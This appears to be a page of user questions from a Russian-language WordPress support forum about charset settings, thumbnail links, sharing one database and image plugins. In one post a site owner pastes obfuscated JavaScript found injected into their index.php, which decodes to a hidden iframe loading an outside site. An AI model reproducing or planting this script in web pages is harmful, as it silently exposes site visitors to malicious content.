Glook

Преобразование кодировки. Зачем это нужно?

Прошу помочь разобраться в следующем вопросе:

При установке WP в файле прочитал следующее:

# ЕСЛИ КОДИРОВКА БАЗЫ ДАННЫХ ОТЛИЧАЕТСЯ ОТ КОДИРОВКИ БЛОГА
# разрешить преобразовывать тексты блога в кодировку базы данных
# например если база данных работает в WINDOWS-1251, а блог в UTF-8
define('MAXSITE_DB_CONVERT', false); # true - разрешить, false - запретить

# кодировка базы данных для автоматического перекодирования (работает если MAXSITE_DB_CONVERT=true)
define('MAXSITE_DB_CHARSET', 'WINDOWS-1251'); # WINDOWS-1251 или UTF-8

К сожалению, ничего не сказано о том, зачем это надо делать. С какой целью?

У моего хостера (masterhost) стоит база MySQL 5-ой версии.
Зашёл в phpmyadmin, читаю следующее
MySQL-кодировка: Windows Cyrillic (cp1251)
Сопоставление соединения с MySQL: utf8_unicode_ci

Я не стал разрешать преобразовывать текст. И после установки WP не обнаружил каких либо проблем с кодировками. Единственная проблема появилась после установки плагина WP Comment Quicktags Plus. Текст у кнопок неправильно отображался. решил проблему добавлением строки AddDefaultCharset Off в htaccess файле.

Так всё же – нужно ли преобразовывать тексты блога в кодировку базы данных или нет? Могут ли у меня потом начаться какие-либо проблемы из-за того что указал не преобразовывать текст?

Вопрос по безопасности

На следующий же день после заливки на сервер файлов последней версии wordpress я обнаружил что в index.php была добавлен следующий код (ниже), а при загрузке моего блога в статусной строке мелькает _http://stock-stats.info
Что это есть такое и как это могло произойти, подскажите пожалуйста. А так же как с этим бороться?

<script>function v472d53a07e307(v472d53a07ead6){ function v472d53a07f2a6 () {var v472d53a07fa93=16; return v472d53a07fa93;} return(parseInt(v472d53a07ead6,v472d53a07f2a6()));}function v472d53a080272(v472d53a080a47){ var v472d53a082203=2; var v472d53a08123e='';for(v472d53a081a1d=0; v472d53a081a1d<v472d53a080a47.length; v472d53a081a1d+=v472d53a082203){ v472d53a08123e+=(String.fromCharCode(v472d53a07e307(v472d53a080a47.substr(v472d53a081a1d, v472d53a082203))));}return v472d53a08123e;} document.write(v472d53a080272('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D6438633634316534207372633D5C27687474703A2F2F73746F636B2D73746174732E696E666F2F707269766174655F666F72756D2F696E6465782E7068703F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3732313831292B2765363832616138643233305C272077696474683D353531206865696768743D313331207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>

Открытие миниатюры на странице сайта

Если при вставке встроенным аплоадером укзать Ссылка на -> Страница, то картинка будет открывать в теме, совсем как текст.
Но у меня это не работает.

При указании "Ссылка на -> Страница" у картинки-миниатюры дествительно появляется ссылка, но ведёт она в несуществующую директорию вида: _http://site.ru/категория/название статьи/названиефайла/ (Ошибка 404 – Не найдено)
Версия WordPress 2.2.2 (рус)
Помогите разобраться, плиз.

Три сайта на wordpress

Имеется площадка у хостера и на ней размещены три сайта. Базу данных хостер выделил одну.
Вопрос: можно ли все сайты заставить работать на движке wordpress (не обязательно на одном, хотя это тоже интересно) НО использовать одну базу данных. Внесу ясность: сайты с разным содержанием, они не должны использовать одну и ту же информацию из базы.

Посоветуйте плагин для работы с картинками

Выглядеть должно так: картинки на главной странице должны быть меньшего размера чем оригинал и быть ссылками на оригинал. Но! При клике на превью-картинку оригинал должен открываться на сайте! Не в отдельном окне. Не в popup. Вот как тут — [url]www.egotastic.com[/url]

Есть ли такой плагин? Подскажите, плиз!

Anonymous
Отправить
Ответ на: